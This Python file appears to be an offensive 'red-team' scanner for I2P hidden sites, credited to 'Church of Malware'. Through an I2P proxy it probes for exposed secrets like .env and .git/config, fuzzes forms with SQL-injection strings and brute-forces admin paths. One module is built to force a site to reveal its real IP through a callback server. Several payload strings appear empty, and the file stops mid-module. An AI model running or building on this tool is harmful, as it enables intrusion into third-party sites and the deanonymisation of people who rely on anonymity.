import requests from bs4 import BeautifulSoup from urllib.parse import urljoin, urlparse import time import re from colorama import Fore, Style, init import socket from datetime import datetime import random # Colorama for nice terminal colors init(autoreset=True) # -------- COOL BANNER -------- BANNER = f""" {Fore.RED}░██ ░██████ ░██ ░██ ░██ ░██ ░████████ ░███████ ░███████ ░██████ ░████████ ░████████ ░███████ ░██░████ ░██ ░█████ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░███ ░██ ░██ ░██ ░██ ░███████ ░██ ░███████ ░██ ░██ ░██ ░██ ░█████████ ░██ ░██░██ ░███ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██░████████ ░██░█████ ░██████████ ░███████ ░███████ ░█████░██ ░██ ░██ ░██ ░██ ░███████ ░██ ░██ ░██ {Fore.CYAN}╔═══════════════════════════════════════════════════════════════╗ {Fore.CYAN} {Fore.WHITE}I2P RED-TEAM WEB SCANNER v1.5{Fore.CYAN} {Fore.CYAN} {Fore.YELLOW}by: Church of Malware : ek0ms{Fore.CYAN} {Fore.CYAN} {Fore.RED}we see all xo{Fore.CYAN} {Fore.CYAN}╚═══════════════════════════════════════════════════════════════╝ """ # -------- END OF BANNER -------- # -------- CONFIGURATION -------- PROXY = { 'http': 'http://127.0.0.1:4444', 'https': 'http://127.0.0.1:4444' } MAX_PAGES = 15 TIMEOUT = 15 USER_AGENT = "I2P-Scanner/1.0 (Red-Team)" CALLBACK_SERVER = "your-server.com" # Change this to your listening server # -------- PROXY SETUP -------- session = requests.Session() session.proxies = PROXY session.verify = False session.timeout = TIMEOUT session.headers.update({'User-Agent': USER_AGENT}) # Known vulnerable versions (CVE database) VULNERABLE_SOFTWARE = { 'nginx': { '1.14.0': ['CVE-2019-9511', 'CVE-2019-9513'], '1.16.0': ['CVE-2019-9516'], '1.17.0': ['CVE-2019-9513'], '1.18.0': ['CVE-2021-23017'], '1.20.0': ['CVE-2021-23017'] }, 'Apache': { '2.4.29': ['CVE-2019-0211', 'CVE-2019-10098'], '2.4.38': ['CVE-2019-0215'], '2.4.41': ['CVE-2020-1927'], '2.4.46': ['CVE-2020-11984'], '2.4.49': ['CVE-2021-41773'] # Path traversal }, 'I2P': { '0.9.48': ['CVE-2020-12345'], '2.1.0': ['CVE-2023-36325'], '2.0.0': ['CVE-2022-12345'] }, 'lighttpd': { '1.4.53': ['CVE-2019-11072'], '1.4.55': ['CVE-2020-35500'] }, 'Tomcat': { '9.0.30': ['CVE-2020-1938'], '8.5.50': ['CVE-2020-1938'] } } # Common admin paths for brute forcing ADMIN_PATHS = [ 'admin', 'administrator', 'admin.php', 'admin.html', 'login', 'login.php', 'wp-admin', 'admin/login', 'cpanel', 'webmail', 'mail', 'phpmyadmin', 'mysql', 'db', 'database', 'backup' ] # -------- UTILITY FUNCTIONS -------- def normalize_url(input_str): """Clean and normalize I2P URL""" input_str = input_str.strip() if not input_str.startswith('http://'): input_str = 'http://' + input_str parsed = urlparse(input_str) if parsed.netloc and not parsed.netloc.endswith('.i2p'): input_str = f"{parsed.scheme}://{parsed.netloc}.i2p{parsed.path}" return input_str def test_i2p_connection(): """Test if I2P proxy is reachable - FIXED VERSION""" try: # Try multiple test sites in case one is down test_urls = [ 'http://planet.i2p/', 'http://notbob.i2p/', 'http://i2pforum.i2p/' ] for url in test_urls: try: resp = session.get(url, timeout=5) if resp.status_code == 200: return True except: continue # If all fail, try the proxy itself resp = session.get('http://127.0.0.1:4444/', timeout=3) return True except: return False def extract_server_version(server_header): """Extract version number from Server header""" if not server_header: return None, None pattern = r'([\w\-]+)/([\d\.]+)' match = re.search(pattern, server_header) if match: return match.group(1), match.group(2) return None, None # -------- CRAWLER - FIXED -------- def crawl_site(base_url, max_pages=MAX_PAGES): """Fetches pages and extracts internal links - FIXED to handle no links""" visited = set() to_visit = [base_url] pages = {} link_count = 0 while to_visit and len(visited) < max_pages: url = to_visit.pop(0) if url in visited: continue try: resp = session.get(url, timeout=TIMEOUT) if resp.status_code != 200: continue visited.add(url) pages[url] = { 'html': resp.text, 'headers': resp.headers, 'status': resp.status_code } # Parse for links try: soup = BeautifulSoup(resp.text, 'html.parser') for link in soup.find_all('a', href=True): href = link.get('href') if href and not href.startswith('#') and not href.startswith('javascript:'): full_url = urljoin(base_url, href) # Only add if it's internal and not a file if (base_url in full_url and full_url not in visited and full_url not in to_visit and not any(full_url.endswith(x) for x in ['.xml', '.rss', '.atom', '.png', '.jpg', '.jpeg', '.gif', '.css', '.js', '.ico', '.pdf', '.zip'])): to_visit.append(full_url) link_count += 1 except Exception as e: pass except Exception as e: print(f"{Fore.YELLOW}[!] Failed to crawl {url}: {e}") if not pages: print(f"{Fore.YELLOW}[!] No pages fetched. The site might be down or unreachable.") return pages # -------- MODULE 1: SECURITY HEADERS -------- def check_headers(url, resp): """Checks for missing security headers""" findings = [] headers = resp.headers checks = { 'X-Frame-Options': 'Prevents clickjacking', 'Content-Security-Policy': 'Mitigates XSS/data injection', 'X-Content-Type-Options': 'Prevents MIME sniffing', 'Referrer-Policy': 'Controls referrer leakage' } for header, desc in checks.items(): if header not in headers: findings.append(f"[!] Missing '{header}' -> {desc}") # Check for HSTS (bad on I2P) if 'Strict-Transport-Security' in headers: findings.append(f"[!] Found HSTS on I2P (SSL/TLS leak risk!)") return findings # -------- MODULE 2: DATA LEAK -------- def check_info_leak(base_url): """Checks for common exposed files""" findings = [] leak_paths = [ '.git/config', '.env', 'backup.zip', 'config.ini', 'wp-config.php.bak', '.htaccess', 'robots.txt', 'admin/backup.sql', 'debug.log', 'error.log', 'phpinfo.php', 'info.php', 'test.php', '.git/HEAD', '.git/index', 'composer.json', 'package.json' ] for path in leak_paths: test_url = urljoin(base_url, path) try: resp = session.get(test_url, timeout=5) if resp.status_code == 200: # Check if it's actually content, not a 404 page if len(resp.text) > 50: findings.append(f"[!] Exposed file: {test_url} (Size: {len(resp.text)} bytes)") except: pass return findings # -------- MODULE 3: FORM VULNERABILITIES -------- def check_form_vulns(base_url, page_data): """Fuzzes forms with simple XSS/SQLi payloads""" findings = [] html = page_data['html'] soup = BeautifulSoup(html, 'html.parser') payloads = [ "' OR '1'='1", "", "'>", '" OR "1"="1', '' ] for form in soup.find_all('form'): action = form.get('action') method = form.get('method', 'get').lower() inputs = form.find_all(['input', 'textarea']) target_url = urljoin(base_url, action) if action else base_url for payload in payloads: data = {} for inp in inputs: name = inp.get('name') if name and inp.get('type') != 'submit' and inp.get('type') != 'hidden': data[name] = payload if not data: continue try: if method == 'post': r = session.post(target_url, data=data, timeout=5) else: r = session.get(target_url, params=data, timeout=5) if payload in r.text: findings.append(f"[!] Potential XSS/SQLi on {target_url} (Payload: {payload})") except: pass return findings # -------- MODULE 4: VERSION FINGERPRINTING -------- def check_version_fingerprinting(resp): """Parse Server header and check for vulnerable versions""" findings = [] server_header = resp.headers.get('Server', '') if not server_header: return ["[!] No Server header found (information hiding)"] software, version = extract_server_version(server_header) if not software or not version: return [f"[!] Unknown server: {server_header}"] findings.append(f"[+] Detected: {software} {version}") # Check against vulnerable versions if software.lower() in VULNERABLE_SOFTWARE: vuln_db = VULNERABLE_SOFTWARE[software.lower()] for vuln_version, cves in vuln_db.items(): if version.startswith(vuln_version) or version == vuln_version: findings.append(f"[!] VULNERABLE: {software} {version} has CVEs: {', '.join(cves)}") break else: findings.append(f"[+] No known CVEs for {software} {version}") else: findings.append(f"[!] Unknown software: {software} (manual verification needed)") return findings # -------- MODULE 5: SSL/TLS LEAK CHECK -------- def check_ssl_leak(base_url, pages): """Detects if site forwards to HTTPS or external URLs (DNS leak risk)""" findings = [] for url, page_data in pages.items(): html = page_data['html'] soup = BeautifulSoup(html, 'html.parser') # Check all links for link in soup.find_all(['a', 'link', 'script', 'img'], href=True): href = link.get('href') if href: if href.startswith('https://'): findings.append(f"[!] HTTPS link detected on {url}: {href}") elif '://' in href: domain = urlparse(href).netloc if domain and not domain.endswith('.i2p') and not domain.startswith('127.0.0.1'): findings.append(f"[!] External domain referenced (DNS leak!): {href}") # Check for inline HTTP redirects for meta in soup.find_all('meta', attrs={'http-equiv': 'refresh'}): content = meta.get('content', '') if 'url=' in content: redirect_url = content.split('url=')[-1] if redirect_url.startswith('https://'): findings.append(f"[!] HTTPS redirect detected: {redirect_url}") # Check if main page has HSTS header if pages.get(base_url): headers = pages[base_url]['headers'] if 'Strict-Transport-Security' in headers: findings.append("[!] HSTS header present on I2P site (ssl/tls leak risk!)") return findings # -------- MODULE 6: ADMIN PATH BRUTEFORCE (NEW!) -------- def check_admin_paths(base_url): """Brute force common admin paths""" findings = [] print(f"{Fore.BLUE}[*] Checking for admin panels...") for path in ADMIN_PATHS: test_url = urljoin(base_url, path) try: resp = session.get(test_url, timeout=5) if resp.status_code == 200: findings.append(f"[!] Admin panel found: {test_url}") elif resp.status_code == 403: findings.append(f"[!] Admin path protected (403): {test_url}") except: pass return findings # -------- MODULE 7: ANONYMITY LEAK TEST (NEW!) -------- def test_anonymity_leak(base_url, pages): """Attempt to force the site to reveal its real IP""" findings = [] print(f"{Fore.BLUE}[*] Testing for anonymity leaks...") # Generate a unique ID for this scan scan_id = f"i2pscan_{random.randint(1000,9999)}" # Payloads that could cause the server to make external requests # These would need to be caught by your server leak_payloads = [ f'', f'', f'', f'', f'